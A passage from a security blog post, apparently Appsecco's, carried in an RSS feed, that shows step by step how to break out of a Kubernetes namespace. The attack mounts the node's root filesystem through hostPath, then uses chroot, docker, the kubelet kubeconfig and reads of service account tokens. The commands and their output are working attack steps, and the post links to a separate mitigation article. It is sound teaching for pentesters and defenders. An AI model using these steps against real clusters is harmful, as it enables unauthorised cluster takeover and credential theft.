(Forbidden): secrets is forbidden: User &quot;system:serviceaccount:developers:developer-sa&quot; cannot list resource &quot;secrets&quot; in API group &quot;&quot; in the namespace &quot;kube-system&quot;</pre><pre># Check if we can create Pod in developers namespace<br>kubectl auth can-i create pod --namespace developers<br>yes</pre><p>Our objective is to breakout of this namespace restriction and gain access to containers in Pods assigned to <em>kube-system</em> namespace.</p><h4>Namespace Escape Steps</h4><p>We will use <a href="https://kubernetes.io/docs/concepts/storage/volumes/#hostpath">hostPath</a> volume feature of Kubernetes to deploy a Pod in <em>developers</em> namespace but with the underlying Node’s / (root filesystem) mounted inside our Pod at <em>/host</em>. We will also use additional features of Pod such as <em>hostIPC, hostPID, hostNetwork</em> to allow us access to all processes in the underlying Node. Our <em>PodSpec (pod-to-node.yml) </em>that we use in the exampe below is <a href="https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba">available here</a>.</p><pre>kubectl apply -f pod-to-node.yml -n developers<br>&gt; pod/attacker-pod created</pre><p>We then <em>exec</em> into this newly created Pod and <em>chroot</em> our process to the Node’s root filesystem accessible to us in <em>/host</em> directory due to <em>hostPath</em> volume mount.</p><pre>kubectl -n developers exec -it attacker-pod bash<br>root@pool-qt7kkl8wt-zn6c:/#</pre><pre>root@pool-qt7kkl8wt-zn6c:/# echo &quot;We are inside attacker Pod: $(uname -n)&quot;</pre><pre>We are inside attacker Pod: pool-qt7kkl8wt-zn6c</pre><pre>root@pool-qt7kkl8wt-zn6c:/# chroot /host/ bash</pre><p>At this point we can access all <em>Docker Containers</em> running in the node irrespective of which Pod or Namespace they belong to.</p><pre>root@pool-qt7kkl8wt-zn6c:/# docker ps</pre><pre>CONTAINER ID        IMAGE                                        COMMAND                  CREATED             STATUS              PORTS               NAMES<br>622b9f408fde        ubuntu                                       &quot;/bin/sh -c &#39;sleep i…&quot;   8 minutes ago       Up 8 minutes                            k8s_attacker-pod_attacker-pod_developers_d261db9d-84e4-4b73-83fb-dbf42444e4d4_0<br>e329436b98dc        k8s.gcr.io/pause:3.1                         &quot;/pause&quot;                 8 minutes ago       Up 8 minutes                            k8s_POD_attacker-pod_developers_d261db9d-84e4-4b73-83fb-dbf42444e4d4_0<br>15cd09d41f2e        19adb8dca61e                                 &quot;cilium-agent --kvst…&quot;   28 minutes ago      Up 28 minutes                           k</pre><pre>[...]</pre><p>This is because</p><ol><li>We have used <em>chroot</em> to change the <em>Root Directory</em> of our process to that of Node’s <em>Root Directory</em></li><li>Now all <em>PATHS</em> in the Node matches our <em>PATH</em> setting and accessible to our process</li><li>We can access the <em>docker</em> binary and <em>docker socket</em> available in the Node’s filesystem as if we are logged in directly to the Node.</li></ol><p>The implication is we can use docker exec to run commands inside any container running in the Node irrespective of which Namespace they belong to. In addition to this, we can use <a href="https://kubernetes.io/docs/concepts/configuration/assign-pod-node/#nodename"><em>nodeName</em></a> or <a href="https://kubernetes.io/docs/concepts/configuration/assign-pod-node/#nodeselector"><em>nodeSelector</em></a> in <em>PodSpec</em> to schedule our Pod to any Node of our choosing, thereby gain access to ANY container in ANY Pod running in the entire cluster.</p><h4>Privilege Escalation</h4><p>We have gained an attack primitive where we can deploy a Pod, which is scheduled in arbitrary Node by Kubernetes. Through the Pod, we are able to access the Node’s <em>Docker daemon</em> and in turn have full access to any container running on the Node.</p><blockquote>Once we have access to <em>Kubelet</em> configuration in a Node, we can leverage its <em>kubeconfig</em> to list ALL nodes in the cluster.</blockquote><pre>root@pool-qt7kkl8wt-zn6c:/# kubectl \<br>--kubeconfig=/etc/kubernetes/kubelet.kubeconfig get nodes -o wide</pre><p>This lists all Node in the cluster</p><pre>NAME                  STATUS   ROLES    AGE    VERSION   INTERNAL-IP     EXTERNAL-IP      OS-IMAGE                       KERNEL-VERSION         CONTAINER-RUNTIME<br>pool-qt7kkl8wt-zn67   Ready    &lt;none&gt;   162m   v1.16.6   10.139.116.89   134.209.147.81   Debian GNU/Linux 9 (stretch)   4.19.0-0.bpo.6-amd64   docker://18.9.2<br>pool-qt7kkl8wt-zn6c   Ready    &lt;none&gt;   162m   v1.16.6   10.139.116.34   134.209.147.24   Debian GNU/Linux 9 (stretch)   4.19.0-0.bpo.6-amd64   docker://18.9.2</pre><p>We can use the same config to list ALL Pods in the cluster</p><pre>root@pool-qt7kkl8wt-zn6c:/# kubectl \<br>--kubeconfig=/etc/kubernetes/kubelet.kubeconfig get pods -A</pre><p>This lists all Pods in the cluster</p><pre>NAMESPACE     NAME                                    READY   STATUS             RESTARTS   AGE<br>developers    attacker-pod                            1/1     Running            0          113m<br>kube-system   cilium-c29np                            1/1     Running            0          164m<br>kube-system   cilium-operator-cdd855d45-x7mxk         0/1     CrashLoopBackOff   43         166m<br>kube-system   cilium-tsm2z                            1/1     Running            0          164m<br>kube-system   coredns-84c79f5fb4-67lbh                1/1     Running            0          166m<br>[...]</pre><p>At this point, we just have to look for a Pod with a privileged token (Service Account) and deploy our <em>Attacker-Pod</em> in the same Node as the target Pod. This can be easily achieved by combining above information about Nodes, Pods and using <a href="https://kubernetes.io/docs/concepts/configuration/assign-pod-node/#nodeselector">nodeSelector</a> PodSpec.</p><p>Through our <em>Attacker-Pod</em> deployed in the same Node as a privileged Pod (ideally a Pod with a Service Account that has <em>Cluster-Admin</em> Role attached), we can access the <em>Service Account Token</em> available in the Pod and access the cluster with its privileges.</p><pre># Get service account token<br>cat /var/run/secrets/kubernetes.io/serviceaccount/token</pre><pre># Get cluster CA certificate<br>cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt</pre><p>The above information can be used, along with cluster-info to generate a kubeconfig using which an attacker can interact with the API server. Refer to <a href="https://gist.github.com/abhisek/2a30589864564f487bee47aa76162968">our script</a> for generating kubeconfig</p><h4>Mitigation</h4><p>We will discuss cluster wide strategy to mitigate this issue in part two of this series. We will dig deeper into Kubernetes <a href="https://kubernetes.io/docs/concepts/policy/pod-security-policy/">PodSecurityPolicies</a> and how it can be used to restrict insecure volume mounts.</p><p><a href="https://blog.appsecco.com/prevent-hostpath-based-kubernetes-attacks-with-pod-security-policies-2f8646df6761">Prevent hostPath based Kubernetes attacks with Pod Security Policies</a></p><p><em>At Appsecco we provide advice, testing and training around software, infra, web and mobile apps, especially that are cloud hosted. We specialise in auditing Kubernetes clusters as per the CIS Benchmark to create a picture of the current state of security. If you are confident about the security of your cluster get assurance for withstanding real world attackers by getting us to do a black box pentest.</em></p><p><em>We run a hands-on training course “Attacking and Auditing Kubernetes Clusters” for cluster operators and pentesters.</em></p><p><em>Drop us an email, </em><a href="/service/mailto:contact@appsecco.com"><em>contact@appsecco.com</em></a><em> if you would like us to assess the security of your K8S infrastructure or if you would like your security team trained in advanced pentesting techniques against K8S.</em></p><figure><a href="https://appsecco.com/"><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ygXRhsXE38_tSCrh.png" /></a><figcaption>https://appsecco.com</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b382f2a6e216" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216">Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>